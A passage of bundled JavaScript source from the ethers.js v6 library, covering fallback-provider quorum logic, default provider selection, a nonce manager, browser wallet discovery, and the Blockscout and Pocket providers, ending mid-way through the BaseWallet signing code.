Transforms a %%req%% into the correct method call on %%provider%%.\n */\n async _translatePerform(provider, req) {\n switch (req.method) {\n case \"broadcastTransaction\":\n return await provider.broadcastTransaction(req.signedTransaction);\n case \"call\":\n return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag }));\n case \"chainId\":\n return (await provider.getNetwork()).chainId;\n case \"estimateGas\":\n return await provider.estimateGas(req.transaction);\n case \"getBalance\":\n return await provider.getBalance(req.address, req.blockTag);\n case \"getBlock\": {\n const block = (\"blockHash\" in req) ? req.blockHash : req.blockTag;\n return await provider.getBlock(block, req.includeTransactions);\n }\n case \"getBlockNumber\":\n return await provider.getBlockNumber();\n case \"getCode\":\n return await provider.getCode(req.address, req.blockTag);\n case \"getGasPrice\":\n return (await provider.getFeeData()).gasPrice;\n case \"getPriorityFee\":\n return (await provider.getFeeData()).maxPriorityFeePerGas;\n case \"getLogs\":\n return await provider.getLogs(req.filter);\n case \"getStorage\":\n return await provider.getStorage(req.address, req.position, req.blockTag);\n case \"getTransaction\":\n return await provider.getTransaction(req.hash);\n case \"getTransactionCount\":\n return await provider.getTransactionCount(req.address, req.blockTag);\n case \"getTransactionReceipt\":\n return await provider.getTransactionReceipt(req.hash);\n case \"getTransactionResult\":\n return await provider.getTransactionResult(req.hash);\n }\n }\n // Grab the next (random) config that is not already part of\n // the running set\n #getNextConfig(running) {\n // @TODO: Maybe do a check here to favour (heavily) providers that\n // do not require waitForSync and disfavour providers that\n // seem down-ish or are behaving slowly\n const configs = Array.from(running).map((r) => r.config);\n // Shuffle the states, sorted by priority\n const allConfigs = this.#configs.slice();\n shuffle(allConfigs);\n allConfigs.sort((a, b) => (a.priority - b.priority));\n for (const config of allConfigs) {\n if (config._lastFatalError) {\n continue;\n }\n if (configs.indexOf(config) === -1) {\n return config;\n }\n }\n return null;\n }\n // Adds a new runner (if available) to running.\n #addRunner(running, req) {\n const config = this.#getNextConfig(running);\n // No runners available\n if (config == null) {\n return null;\n }\n // Create a new runner\n const runner = {\n config, result: null, didBump: false,\n perform: null, staller: null\n };\n const now = getTime();\n // Start performing this operation\n runner.perform = (async () => {\n try {\n config.requests++;\n const result = await this._translatePerform(config.provider, req);\n runner.result = { result };\n }\n catch (error) {\n config.errorResponses++;\n runner.result = { error };\n }\n const dt = (getTime() - now);\n config._totalTime += dt;\n config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt;\n runner.perform = null;\n })();\n // Start a staller; when this times out, it's time to force\n // kicking off another runner because we are taking too long\n runner.staller = (async () => {\n await stall(config.stallTimeout);\n runner.staller = null;\n })();\n running.add(runner);\n return runner;\n }\n // Initializes the blockNumber and network for each runner and\n // blocks until initialized\n async #initialSync() {\n let initialSync = this.#initialSyncPromise;\n if (!initialSync) {\n const promises = [];\n this.#configs.forEach((config) => {\n promises.push((async () => {\n await waitForSync(config, 0);\n if (!config._lastFatalError) {\n config._network = await config.provider.getNetwork();\n }\n })());\n });\n this.#initialSyncPromise = initialSync = (async () => {\n // Wait for all providers to have a block number and network\n await Promise.all(promises);\n // Check all the networks match\n let chainId = null;\n for (const config of this.#configs) {\n if (config._lastFatalError) {\n continue;\n }\n const network = (config._network);\n if (chainId == null) {\n chainId = network.chainId;\n }\n else if (network.chainId !== chainId) {\n assert(false, \"cannot mix providers on different networks\", \"UNSUPPORTED_OPERATION\", {\n operation: \"new FallbackProvider\"\n });\n }\n }\n })();\n }\n await initialSync;\n }\n async #checkQuorum(running, req) {\n // Get all the result objects\n const results = [];\n for (const runner of running) {\n if (runner.result != null) {\n const { tag, value } = normalizeResult(req.method, runner.result);\n results.push({ tag, value, weight: runner.config.weight });\n }\n }\n // Are there enough results to event meet quorum?\n if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) {\n return undefined;\n }\n switch (req.method) {\n case \"getBlockNumber\": {\n // We need to get the bootstrap block height\n if (this.#height === -2) {\n this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({\n value: c.blockNumber,\n tag: getNumber(c.blockNumber).toString(),\n weight: c.weight\n })))));\n }\n // Find the mode across all the providers, allowing for\n // a little drift between block heights\n const mode = getFuzzyMode(this.quorum, results);\n if (mode === undefined) {\n return undefined;\n }\n if (mode > this.#height) {\n this.#height = mode;\n }\n return this.#height;\n }\n case \"getGasPrice\":\n case \"getPriorityFee\":\n case \"estimateGas\":\n return getMedian(this.quorum, results);\n case \"getBlock\":\n // Pending blocks are in the mempool and already\n // quite untrustworthy; just grab anything\n if (\"blockTag\" in req && req.blockTag === \"pending\") {\n return getAnyResult(this.quorum, results);\n }\n return checkQuorum(this.quorum, results);\n case \"call\":\n case \"chainId\":\n case \"getBalance\":\n case \"getTransactionCount\":\n case \"getCode\":\n case \"getStorage\":\n case \"getTransaction\":\n case \"getTransactionReceipt\":\n case \"getLogs\":\n return checkQuorum(this.quorum, results);\n case \"broadcastTransaction\":\n return getAnyResult(this.quorum, results);\n }\n assert(false, \"unsupported method\", \"UNSUPPORTED_OPERATION\", {\n operation: `_perform(${stringify(req.method)})`\n });\n }\n async #waitForQuorum(running, req) {\n if (running.size === 0) {\n throw new Error(\"no runners?!\");\n }\n // Any promises that are interesting to watch for; an expired stall\n // or a successful perform\n const interesting = [];\n let newRunners = 0;\n for (const runner of running) {\n // No responses, yet; keep an eye on it\n if (runner.perform) {\n interesting.push(runner.perform);\n }\n // Still stalling...\n if (runner.staller) {\n interesting.push(runner.staller);\n continue;\n }\n // This runner has already triggered another runner\n if (runner.didBump) {\n continue;\n }\n // Got a response (result or error) or stalled; kick off another runner\n runner.didBump = true;\n newRunners++;\n }\n // Check if we have reached quorum on a result (or error)\n const value = await this.#checkQuorum(running, req);\n if (value !== undefined) {\n if (value instanceof Error) {\n throw value;\n }\n return value;\n }\n // Add any new runners, because a staller timed out or a result\n // or error response came in.\n for (let i = 0; i < newRunners; i++) {\n this.#addRunner(running, req);\n }\n // All providers have returned, and we have no result\n assert(interesting.length > 0, \"quorum not met\", \"SERVER_ERROR\", {\n request: \"%sub-requests\",\n info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) }\n });\n // Wait for someone to either complete its perform or stall out\n await Promise.race(interesting);\n // This is recursive, but at worst case the depth is 2x the\n // number of providers (each has a perform and a staller)\n return await this.#waitForQuorum(running, req);\n }\n async _perform(req) {\n // Broadcasting a transaction is rare (ish) and already incurs\n // a cost on the user, so spamming is safe-ish. Just send it to\n // every backend.\n if (req.method === \"broadcastTransaction\") {\n // Once any broadcast provides a positive result, use it. No\n // need to wait for anyone else\n const results = this.#configs.map((c) => null);\n const broadcasts = this.#configs.map(async ({ provider, weight }, index) => {\n try {\n const result = await provider._perform(req);\n results[index] = Object.assign(normalizeResult(req.method, { result }), { weight });\n }\n catch (error) {\n results[index] = Object.assign(normalizeResult(req.method, { error }), { weight });\n }\n });\n // As each promise finishes...\n while (true) {\n // Check for a valid broadcast result\n const done = results.filter((r) => (r != null));\n for (const { value } of done) {\n if (!(value instanceof Error)) {\n return value;\n }\n }\n // Check for a legit broadcast error (one which we cannot\n // recover from; some nodes may return the following red\n // herring events:\n // - alredy seend (UNKNOWN_ERROR)\n // - NONCE_EXPIRED\n // - REPLACEMENT_UNDERPRICED\n const result = checkQuorum(this.quorum, results.filter((r) => (r != null)));\n if (isError(result, \"INSUFFICIENT_FUNDS\")) {\n throw result;\n }\n // Kick off the next provider (if any)\n const waiting = broadcasts.filter((b, i) => (results[i] == null));\n if (waiting.length === 0) {\n break;\n }\n await Promise.race(waiting);\n }\n // Use standard quorum results; any result was returned above,\n // so this will find any error that met quorum if any\n const result = getAnyResult(this.quorum, results);\n assert(result !== undefined, \"problem multi-broadcasting\", \"SERVER_ERROR\", {\n request: \"%sub-requests\",\n info: { request: req, results: results.map(stringify) }\n });\n if (result instanceof Error) {\n throw result;\n }\n return result;\n }\n await this.#initialSync();\n // Bootstrap enough runners to meet quorum\n const running = new Set();\n let inflightQuorum = 0;\n while (true) {\n const runner = this.#addRunner(running, req);\n if (runner == null) {\n break;\n }\n inflightQuorum += runner.config.weight;\n if (inflightQuorum >= this.quorum) {\n break;\n }\n }\n const result = await this.#waitForQuorum(running, req);\n // Track requests sent to a provider that are still\n // outstanding after quorum has been otherwise found\n for (const runner of running) {\n if (runner.perform && runner.result == null) {\n runner.config.lateResponses++;\n }\n }\n return result;\n }\n async destroy() {\n for (const { provider } of this.#configs) {\n provider.destroy();\n }\n super.destroy();\n }\n}\n//# sourceMappingURL=provider-fallback.js.map","import { assert } from \"../utils/index.js\";\nimport { AnkrProvider } from \"./provider-ankr.js\";\nimport { AlchemyProvider } from \"./provider-alchemy.js\";\n//import { BlockscoutProvider } from \"./provider-blockscout.js\";\nimport { ChainstackProvider } from \"./provider-chainstack.js\";\nimport { CloudflareProvider } from \"./provider-cloudflare.js\";\nimport { EtherscanProvider } from \"./provider-etherscan.js\";\nimport { InfuraProvider } from \"./provider-infura.js\";\n//import { PocketProvider } from \"./provider-pocket.js\";\nimport { QuickNodeProvider } from \"./provider-quicknode.js\";\nimport { FallbackProvider } from \"./provider-fallback.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nimport { Network } from \"./network.js\";\nimport { WebSocketProvider } from \"./provider-websocket.js\";\nfunction isWebSocketLike(value) {\n return (value && typeof (value.send) === \"function\" &&\n typeof (value.close) === \"function\");\n}\nconst Testnets = \"goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt\".split(\" \");\n/**\n * Returns a default provider for %%network%%.\n *\n * If %%network%% is a [[WebSocketLike]] or string that begins with\n * ``\"ws:\"`` or ``\"wss:\"``, a [[WebSocketProvider]] is returned backed\n * by that WebSocket or URL.\n *\n * If %%network%% is a string that begins with ``\"HTTP:\"`` or ``\"HTTPS:\"``,\n * a [[JsonRpcProvider]] is returned connected to that URL.\n *\n * Otherwise, a default provider is created backed by well-known public\n * Web3 backends (such as [[link-infura]]) using community-provided API\n * keys.\n *\n * The %%options%% allows specifying custom API keys per backend (setting\n * an API key to ``\"-\"`` will omit that provider) and ``options.exclusive``\n * can be set to either a backend name or and array of backend names, which\n * will whitelist **only** those backends.\n *\n * Current backend strings supported are:\n * - ``\"alchemy\"``\n * - ``\"ankr\"``\n * - ``\"cloudflare\"``\n * - ``\"chainstack\"``\n * - ``\"etherscan\"``\n * - ``\"infura\"``\n * - ``\"publicPolygon\"``\n * - ``\"quicknode\"``\n *\n * @example:\n * // Connect to a local Geth node\n * provider = getDefaultProvider(\"http://localhost:8545/\");\n *\n * // Connect to Ethereum mainnet with any current and future\n * // third-party services available\n * provider = getDefaultProvider(\"mainnet\");\n *\n * // Connect to Polygon, but only allow Etherscan and\n * // INFURA and use \"MY_API_KEY\" in calls to Etherscan.\n * provider = getDefaultProvider(\"matic\", {\n * etherscan: \"MY_API_KEY\",\n * exclusive: [ \"etherscan\", \"infura\" ]\n * });\n */\nexport function getDefaultProvider(network, options) {\n if (options == null) {\n options = {};\n }\n const allowService = (name) => {\n if (options[name] === \"-\") {\n return false;\n }\n if (typeof (options.exclusive) === \"string\") {\n return (name === options.exclusive);\n }\n if (Array.isArray(options.exclusive)) {\n return (options.exclusive.indexOf(name) !== -1);\n }\n return true;\n };\n if (typeof (network) === \"string\" && network.match(/^https?:/)) {\n return new JsonRpcProvider(network);\n }\n if (typeof (network) === \"string\" && network.match(/^wss?:/) || isWebSocketLike(network)) {\n return new WebSocketProvider(network);\n }\n // Get the network and name, if possible\n let staticNetwork = null;\n try {\n staticNetwork = Network.from(network);\n }\n catch (error) { }\n const providers = [];\n if (allowService(\"publicPolygon\") && staticNetwork) {\n if (staticNetwork.name === \"matic\") {\n providers.push(new JsonRpcProvider(\"https:/\\/polygon-rpc.com/\", staticNetwork, { staticNetwork }));\n }\n else if (staticNetwork.name === \"matic-amoy\") {\n providers.push(new JsonRpcProvider(\"https:/\\/rpc-amoy.polygon.technology/\", staticNetwork, { staticNetwork }));\n }\n }\n if (allowService(\"alchemy\")) {\n try {\n providers.push(new AlchemyProvider(network, options.alchemy));\n }\n catch (error) { }\n }\n if (allowService(\"ankr\") && options.ankr != null) {\n try {\n providers.push(new AnkrProvider(network, options.ankr));\n }\n catch (error) { }\n }\n /* Temporarily remove until custom error issue is fixed\n if (allowService(\"blockscout\")) {\n try {\n providers.push(new BlockscoutProvider(network, options.blockscout));\n } catch (error) { }\n }\n */\n if (allowService(\"chainstack\")) {\n try {\n providers.push(new ChainstackProvider(network, options.chainstack));\n }\n catch (error) { }\n }\n if (allowService(\"cloudflare\")) {\n try {\n providers.push(new CloudflareProvider(network));\n }\n catch (error) { }\n }\n if (allowService(\"etherscan\")) {\n try {\n providers.push(new EtherscanProvider(network, options.etherscan));\n }\n catch (error) { }\n }\n if (allowService(\"infura\")) {\n try {\n let projectId = options.infura;\n let projectSecret = undefined;\n if (typeof (projectId) === \"object\") {\n projectSecret = projectId.projectSecret;\n projectId = projectId.projectId;\n }\n providers.push(new InfuraProvider(network, projectId, projectSecret));\n }\n catch (error) { }\n }\n /*\n if (options.pocket !== \"-\") {\n try {\n let appId = options.pocket;\n let secretKey: undefined | string = undefined;\n let loadBalancer: undefined | boolean = undefined;\n if (typeof(appId) === \"object\") {\n loadBalancer = !!appId.loadBalancer;\n secretKey = appId.secretKey;\n appId = appId.appId;\n }\n providers.push(new PocketProvider(network, appId, secretKey, loadBalancer));\n } catch (error) { console.log(error); }\n }\n */\n if (allowService(\"quicknode\")) {\n try {\n let token = options.quicknode;\n providers.push(new QuickNodeProvider(network, token));\n }\n catch (error) { }\n }\n assert(providers.length, \"unsupported default network\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getDefaultProvider\"\n });\n // No need for a FallbackProvider\n if (providers.length === 1) {\n return providers[0];\n }\n // We use the floor because public third-party providers can be unreliable,\n // so a low number of providers with a large quorum will fail too often\n let quorum = Math.floor(providers.length / 2);\n if (quorum > 2) {\n quorum = 2;\n }\n // Testnets don't need as strong a security gaurantee and speed is\n // more useful during testing\n if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) {\n quorum = 1;\n }\n // Provided override qorum takes priority\n if (options && options.quorum) {\n quorum = options.quorum;\n }\n return new FallbackProvider(providers, undefined, { quorum });\n}\n//# sourceMappingURL=default-provider.js.map","import { defineProperties } from \"../utils/index.js\";\nimport { AbstractSigner } from \"./abstract-signer.js\";\n/**\n * A **NonceManager** wraps another [[Signer]] and automatically manages\n * the nonce, ensuring serialized and sequential nonces are used during\n * transaction.\n */\nexport class NonceManager extends AbstractSigner {\n /**\n * The Signer being managed.\n */\n signer;\n #noncePromise;\n #delta;\n /**\n * Creates a new **NonceManager** to manage %%signer%%.\n */\n constructor(signer) {\n super(signer.provider);\n defineProperties(this, { signer });\n this.#noncePromise = null;\n this.#delta = 0;\n }\n async getAddress() {\n return this.signer.getAddress();\n }\n connect(provider) {\n return new NonceManager(this.signer.connect(provider));\n }\n async getNonce(blockTag) {\n if (blockTag === \"pending\") {\n if (this.#noncePromise == null) {\n this.#noncePromise = super.getNonce(\"pending\");\n }\n const delta = this.#delta;\n return (await this.#noncePromise) + delta;\n }\n return super.getNonce(blockTag);\n }\n /**\n * Manually increment the nonce. This may be useful when managng\n * offline transactions.\n */\n increment() {\n this.#delta++;\n }\n /**\n * Resets the nonce, causing the **NonceManager** to reload the current\n * nonce from the blockchain on the next transaction.\n */\n reset() {\n this.#delta = 0;\n this.#noncePromise = null;\n }\n async sendTransaction(tx) {\n const noncePromise = this.getNonce(\"pending\");\n this.increment();\n tx = await this.signer.populateTransaction(tx);\n tx.nonce = await noncePromise;\n // @TODO: Maybe handle interesting/recoverable errors?\n // Like don't increment if the tx was certainly not sent\n return await this.signer.sendTransaction(tx);\n }\n signTransaction(tx) {\n return this.signer.signTransaction(tx);\n }\n signMessage(message) {\n return this.signer.signMessage(message);\n }\n signTypedData(domain, types, value) {\n return this.signer.signTypedData(domain, types, value);\n }\n}\n//# sourceMappingURL=signer-noncemanager.js.map","import { assertArgument, makeError } from \"../utils/index.js\";\nimport { JsonRpcApiPollingProvider } from \"./provider-jsonrpc.js\";\n;\n/**\n * A **BrowserProvider** is intended to wrap an injected provider which\n * adheres to the [[link-eip-1193]] standard, which most (if not all)\n * currently do.\n */\nexport class BrowserProvider extends JsonRpcApiPollingProvider {\n #request;\n #providerInfo;\n /**\n * Connect to the %%ethereum%% provider, optionally forcing the\n * %%network%%.\n */\n constructor(ethereum, network, _options) {\n // Copy the options\n const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 });\n assertArgument(ethereum && ethereum.request, \"invalid EIP-1193 provider\", \"ethereum\", ethereum);\n super(network, options);\n this.#providerInfo = null;\n if (_options && _options.providerInfo) {\n this.#providerInfo = _options.providerInfo;\n }\n this.#request = async (method, params) => {\n const payload = { method, params };\n this.emit(\"debug\", { action: \"sendEip1193Request\", payload });\n try {\n const result = await ethereum.request(payload);\n this.emit(\"debug\", { action: \"receiveEip1193Result\", result });\n return result;\n }\n catch (e) {\n const error = new Error(e.message);\n error.code = e.code;\n error.data = e.data;\n error.payload = payload;\n this.emit(\"debug\", { action: \"receiveEip1193Error\", error });\n throw error;\n }\n };\n }\n get providerInfo() {\n return this.#providerInfo;\n }\n async send(method, params) {\n await this._start();\n return await super.send(method, params);\n }\n async _send(payload) {\n assertArgument(!Array.isArray(payload), \"EIP-1193 does not support batch request\", \"payload\", payload);\n try {\n const result = await this.#request(payload.method, payload.params || []);\n return [{ id: payload.id, result }];\n }\n catch (e) {\n return [{\n id: payload.id,\n error: { code: e.code, data: e.data, message: e.message }\n }];\n }\n }\n getRpcError(payload, error) {\n error = JSON.parse(JSON.stringify(error));\n // EIP-1193 gives us some machine-readable error codes, so rewrite\n // them into Ethers standard errors.\n switch (error.error.code || -1) {\n case 4001:\n error.error.message = `ethers-user-denied: ${error.error.message}`;\n break;\n case 4200:\n error.error.message = `ethers-unsupported: ${error.error.message}`;\n break;\n }\n return super.getRpcError(payload, error);\n }\n /**\n * Resolves to ``true`` if the provider manages the %%address%%.\n */\n async hasSigner(address) {\n if (address == null) {\n address = 0;\n }\n const accounts = await this.send(\"eth_accounts\", []);\n if (typeof (address) === \"number\") {\n return (accounts.length > address);\n }\n address = address.toLowerCase();\n return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0;\n }\n async getSigner(address) {\n if (address == null) {\n address = 0;\n }\n if (!(await this.hasSigner(address))) {\n try {\n await this.#request(\"eth_requestAccounts\", []);\n }\n catch (error) {\n const payload = error.payload;\n throw this.getRpcError(payload, { id: payload.id, error });\n }\n }\n return await super.getSigner(address);\n }\n /**\n * Discover and connect to a Provider in the Browser using the\n * [[link-eip-6963]] discovery mechanism. If no providers are\n * present, ``null`` is resolved.\n */\n static async discover(options) {\n if (options == null) {\n options = {};\n }\n if (options.provider) {\n return new BrowserProvider(options.provider);\n }\n const context = options.window ? options.window :\n (typeof (window) !== \"undefined\") ? window : null;\n if (context == null) {\n return null;\n }\n const anyProvider = options.anyProvider;\n if (anyProvider && context.ethereum) {\n return new BrowserProvider(context.ethereum);\n }\n if (!(\"addEventListener\" in context && \"dispatchEvent\" in context\n && \"removeEventListener\" in context)) {\n return null;\n }\n const timeout = options.timeout ? options.timeout : 300;\n if (timeout === 0) {\n return null;\n }\n return await (new Promise((resolve, reject) => {\n let found = [];\n const addProvider = (event) => {\n found.push(event.detail);\n if (anyProvider) {\n finalize();\n }\n };\n const finalize = () => {\n clearTimeout(timer);\n if (found.length) {\n // If filtering is provided:\n if (options && options.filter) {\n // Call filter, with a copies of found provider infos\n const filtered = options.filter(found.map(i => Object.assign({}, (i.info))));\n if (filtered == null) {\n // No provider selected\n resolve(null);\n }\n else if (filtered instanceof BrowserProvider) {\n // Custom provider created\n resolve(filtered);\n }\n else {\n // Find the matching provider\n let match = null;\n if (filtered.uuid) {\n const matches = found.filter(f => (filtered.uuid === f.info.uuid));\n // @TODO: What should happen if multiple values\n // for the same UUID?\n match = matches[0];\n }\n if (match) {\n const { provider, info } = match;\n resolve(new BrowserProvider(provider, undefined, {\n providerInfo: info\n }));\n }\n else {\n reject(makeError(\"filter returned unknown info\", \"UNSUPPORTED_OPERATION\", {\n value: filtered\n }));\n }\n }\n }\n else {\n // Pick the first found provider\n const { provider, info } = found[0];\n resolve(new BrowserProvider(provider, undefined, {\n providerInfo: info\n }));\n }\n }\n else {\n // Nothing found\n resolve(null);\n }\n context.removeEventListener(\"eip6963:announceProvider\", addProvider);\n };\n const timer = setTimeout(() => { finalize(); }, timeout);\n context.addEventListener(\"eip6963:announceProvider\", addProvider);\n context.dispatchEvent(new Event(\"eip6963:requestProvider\"));\n }));\n }\n}\n//# sourceMappingURL=provider-browser.js.map","/**\n * [[link-blockscout]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Ethereum Classic (``classic``)\n * - Arbitrum (``arbitrum``)\n * - Base (``base``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - Gnosis (``xdai``)\n * - Optimism (``optimism``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n *\n * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout]\n */\nimport { assertArgument, defineProperties, FetchRequest, isHexString } from \"../utils/index.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nfunction getUrl(name) {\n switch (name) {\n case \"mainnet\":\n return \"https:/\\/eth.blockscout.com/api/eth-rpc\";\n case \"sepolia\":\n return \"https:/\\/eth-sepolia.blockscout.com/api/eth-rpc\";\n case \"holesky\":\n return \"https:/\\/eth-holesky.blockscout.com/api/eth-rpc\";\n case \"classic\":\n return \"https:/\\/etc.blockscout.com/api/eth-rpc\";\n case \"arbitrum\":\n return \"https:/\\/arbitrum.blockscout.com/api/eth-rpc\";\n case \"base\":\n return \"https:/\\/base.blockscout.com/api/eth-rpc\";\n case \"base-sepolia\":\n return \"https:/\\/base-sepolia.blockscout.com/api/eth-rpc\";\n case \"matic\":\n return \"https:/\\/polygon.blockscout.com/api/eth-rpc\";\n case \"optimism\":\n return \"https:/\\/optimism.blockscout.com/api/eth-rpc\";\n case \"optimism-sepolia\":\n return \"https:/\\/optimism-sepolia.blockscout.com/api/eth-rpc\";\n case \"xdai\":\n return \"https:/\\/gnosis.blockscout.com/api/eth-rpc\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **BlockscoutProvider** connects to the [[link-blockscout]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-blockscout).\n */\nexport class BlockscoutProvider extends JsonRpcProvider {\n /**\n * The API key.\n */\n apiKey;\n /**\n * Creates a new **BlockscoutProvider**.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = null;\n }\n const request = BlockscoutProvider.getRequest(network);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new BlockscoutProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.apiKey === null);\n }\n getRpcRequest(req) {\n // Blockscout enforces the TAG argument for estimateGas\n const resp = super.getRpcRequest(req);\n if (resp && resp.method === \"eth_estimateGas\" && resp.args.length == 1) {\n resp.args = resp.args.slice();\n resp.args.push(\"latest\");\n }\n return resp;\n }\n getRpcError(payload, _error) {\n const error = _error ? _error.error : null;\n // Blockscout currently drops the VM result and replaces it with a\n // human-readable string, so we need to make it machine-readable.\n if (error && error.code === -32015 && !isHexString(error.data || \"\", true)) {\n const panicCodes = {\n \"assert(false)\": \"01\",\n \"arithmetic underflow or overflow\": \"11\",\n \"division or modulo by zero\": \"12\",\n \"out-of-bounds array access; popping on an empty array\": \"31\",\n \"out-of-bounds access of an array or bytesN\": \"32\"\n };\n let panicCode = \"\";\n if (error.message === \"VM execution error.\") {\n // eth_call passes this message\n panicCode = panicCodes[error.data] || \"\";\n }\n else if (panicCodes[error.message || \"\"]) {\n panicCode = panicCodes[error.message || \"\"];\n }\n if (panicCode) {\n error.message += ` (reverted: ${error.data})`;\n error.data = \"0x4e487b7100000000000000000000000000000000000000000000000000000000000000\" + panicCode;\n }\n }\n else if (error && error.code === -32000) {\n if (error.message === \"wrong transaction nonce\") {\n error.message += \" (nonce too low)\";\n }\n }\n return super.getRpcError(payload, _error);\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%apiKey%%.\n */\n static getRequest(network) {\n const request = new FetchRequest(getUrl(network.name));\n request.allowGzip = true;\n return request;\n }\n}\n//# sourceMappingURL=provider-blockscout.js.map","/**\n * [[link-pocket]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Polygon (``matic``)\n * - Arbitrum (``arbitrum``)\n *\n * @_subsection: api/providers/thirdparty:Pocket [providers-pocket]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApplicationId = \"62e1ad51b37b8e00394bda3b\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"eth-mainnet.gateway.pokt.network\";\n case \"goerli\":\n return \"eth-goerli.gateway.pokt.network\";\n case \"matic\":\n return \"poly-mainnet.gateway.pokt.network\";\n case \"matic-mumbai\":\n return \"polygon-mumbai-rpc.gateway.pokt.network\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **PocketProvider** connects to the [[link-pocket]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-pocket-signup).\n */\nexport class PocketProvider extends JsonRpcProvider {\n /**\n * The Application ID for the Pocket connection.\n */\n applicationId;\n /**\n * The Application Secret for making authenticated requests\n * to the Pocket connection.\n */\n applicationSecret;\n /**\n * Create a new **PocketProvider**.\n *\n * By default connecting to ``mainnet`` with a highly throttled\n * API key.\n */\n constructor(_network, applicationId, applicationSecret) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (applicationId == null) {\n applicationId = defaultApplicationId;\n }\n if (applicationSecret == null) {\n applicationSecret = null;\n }\n const options = { staticNetwork: network };\n const request = PocketProvider.getRequest(network, applicationId, applicationSecret);\n super(request, network, options);\n defineProperties(this, { applicationId, applicationSecret });\n }\n _getProvider(chainId) {\n try {\n return new PocketProvider(chainId, this.applicationId, this.applicationSecret);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n /**\n * Returns a prepared request for connecting to %%network%% with\n * %%applicationId%%.\n */\n static getRequest(network, applicationId, applicationSecret) {\n if (applicationId == null) {\n applicationId = defaultApplicationId;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v1/lb/${applicationId}`);\n request.allowGzip = true;\n if (applicationSecret) {\n request.setCredentials(\"\", applicationSecret);\n }\n if (applicationId === defaultApplicationId) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"PocketProvider\");\n return true;\n };\n }\n return request;\n }\n isCommunityResource() {\n return (this.applicationId === defaultApplicationId);\n }\n}\n//# sourceMappingURL=provider-pocket.js.map","const IpcSocketProvider = undefined;\nexport { IpcSocketProvider };\n//# sourceMappingURL=provider-ipcsocket-browser.js.map","import { getAddress, resolveAddress } from \"../address/index.js\";\nimport { hashAuthorization, hashMessage, TypedDataEncoder } from \"../hash/index.js\";\nimport { AbstractSigner, copyRequest } from \"../providers/index.js\";\nimport { computeAddress, Transaction } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from \"../utils/index.js\";\n/**\n * The **BaseWallet** is a stream-lined implementation of a\n * [[Signer]] that operates with a private key.\n *\n * It is preferred to use the [[Wallet]] class, as it offers\n * additional functionality and simplifies loading a variety\n * of JSON formats, Mnemonic Phrases, etc.\n *\n * This class may be of use for those attempting to implement\n * a minimal Signer.\n */\nexport class BaseWallet extends AbstractSigner {\n /**\n * The wallet address.\n */\n address;\n #signingKey;\n /**\n * Creates a new BaseWallet for %%privateKey%%, optionally\n * connected to %%provider%%.\n *\n * If %%provider%% is not specified, only offline methods can\n * be used.\n */\n constructor(privateKey, provider) {\n super(provider);\n assertArgument(privateKey && typeof (privateKey.sign) === \"function\", \"invalid private key\", \"privateKey\", \"[ REDACTED ]\");\n this.#signingKey = privateKey;\n const address = computeAddress(this.signingKey.publicKey);\n defineProperties(this, { address });\n }\n // Store private values behind getters to reduce visibility\n // in console.log\n /**\n * The [[SigningKey]] used for signing payloads.\n */\n get signingKey() { return this.#signingKey; }\n /**\n * The private key for this wallet.\n */\n get privateKey() { return this.signingKey.privateKey; }\n async getAddress() { return this.address; }\n connect(provider) {\n return new BaseWallet(this.#signingKey, provider);\n }\n async signTransaction(tx) {\n tx = copyRequest(tx);\n // Replace any Addressable or ENS name with an address\n const { to, from } = await resolveProperties({\n to: (tx.to ? resolveAddress(tx.to, this) : undefined),\n from: (tx.from ? resolveAddress(tx.from, this) : undefined)\n });\n if (to != null) {\n tx.to = to;\n }\n if (from != null) {\n tx.from = from;\n }\n if (tx.from 